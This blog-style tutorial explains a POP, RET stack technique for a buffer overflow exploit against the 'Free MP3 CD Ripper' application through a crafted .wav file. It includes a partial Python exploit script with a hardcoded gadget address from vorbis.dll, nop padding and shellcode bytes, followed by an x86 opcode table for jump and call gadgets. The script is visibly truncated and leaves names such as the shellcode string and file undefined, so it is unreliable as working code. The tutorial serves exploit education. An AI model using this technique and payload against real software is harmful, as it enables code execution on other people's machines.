Exploiting is a very interesting topic and there are many ways of manipulating the stack. One of those ways is using the POP, RET functions.

Using the “Free MP3 CD Ripper” - Exploit from my first tutorial, I would like to show how a POP RET is basically working (and displayed in IDA), since these are useful commands if the shellcode is not directly placed @ the ESP, but only some bytes away from it on the stack, like ESP+4 or ESP+8…The modified Python script helps to show how jumping to shellcode via a POP, RET will work:

from struct import pack

eip=pack('<I',0x639D1575) #pop eax,ret from vorbis.dll (loaded @639C0000)
nops = "\\x90" \* 4
nops2 = "\\x90" \* 2
breakit = "\\xCC" \* 1
shellcode = ("\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\\x1e"
writeFile = open (file, "w")

The .wav gets filled by our usual 4112 bytes of junk first. After that we’ve got the already known position of our EIP, where we’ll fill in a “POP EAX, RET” (opcode: 58 C3 - have a look at the opcode-table at the end of this posting) stolen from the loaded “vorbis.dll”. But what does a “POP EAX” and a “RET” do exactly ? The”POP EAX” takes 4 bytes off the top of the stack and directly stores them into the EAX and “RET” loads the following 4 bytes at ESP into EIP, and therefor gets executed. :-) By the way if the shellcode is 8 bytes away (ESP+8) you simply need to find a “POP, POP, RET” function to jump…

For demonstration purposes, I’ll add another 4 nop-bytes “\x90” after the EIP. Those bytes will be POP’ed to the EAX. The next 4 stack bytes - our already known “JMP ESP” - will used by the RET function. The following 2 nop-bytes and the “\xCC”, which simply breaks the process, will be used to realign the stack. Execute the application, load our new malicious .wav and have a look at the general registers and the stack view now:

The stack view clearly shows you what did happen and what we expected! First: The EIP loaded 0x1BDFEE4 which stores our stolen POP, RET functions from vorbis.dll. Followed by our pseudo-nops “90909090”, which are POP’ed to the EAX using the mentioned function from vorbis.dll. Have a look at the general registers, where you can see that the EAX contains exactly “90909090”. Great! The pop works fine so far. Now the ret gets executed @0x1BDFEEC which contains our stolen “JMP ESP” from “WMVCore.dll”. Then we’ve got some other nops again to realign the Stack (notice that the ESP is @0x1BDFEF0), which means we only need 3 further bytes to point directly to our shellcode. (I’ve just added 2 nops and a break here to break the application flow). In the final version of the exploit simply exchange the “\xCC” with a further nop and the exploit will work again :-).

A nice collection of opcodes:

\* ASM Code:
call eax  FF D0
call ebx  FF D3
call ecx  FF D1
call edx  FF D2
call edi  FF D7
call esi  FF D6
call esp  FF D4
call ebp  FF D5

call \[eax\] FF 10
call \[ebx\] FF 13
call \[ecx\] FF 11
call \[edx\] FF 12
call \[edi\] FF 17
call \[esi\] FF 16
call \[esp\] FF 14 24
call \[ebp\] FF 55 00

jmp eax  FF E0
jmp ebx  FF E3
jmp ecx  FF E1
jmp edx  FF E2
jmp edi  FF E7
jmp esi  FF E6
jmp esp  FF E4
jmp ebp  FF E5

jmp \[eax\]  FF 20
jmp \[ebx\]  FF 23
jmp \[ecx\]  FF 21
jmp \[edx\]  FF 22
jmp \[edi\]  FF 27
jmp \[esi\]  FF 26
jmp \[esp\]  FF 24 24
jmp \[ebp\]  FF 65 00

push eax  50
push ebx  53
push ecx  51
push edx  52
push edi  57
push esi  56
push esp  54
push ebp  55

push \[eax\] FF 30
push \[ebx\] FF 33
push \[ecx\] FF 31
push \[edx\] FF 32
push \[edi\] FF 37
push \[esi\] FF 36
push \[esp\] FF 34 24
push \[ebp\] FF 75 00

pop eax  58
pop ebx  5B
pop ecx  59
pop edx  5A
pop edi  5F
pop esi  5E
pop esp  5C
pop ebp  5D

ret         C3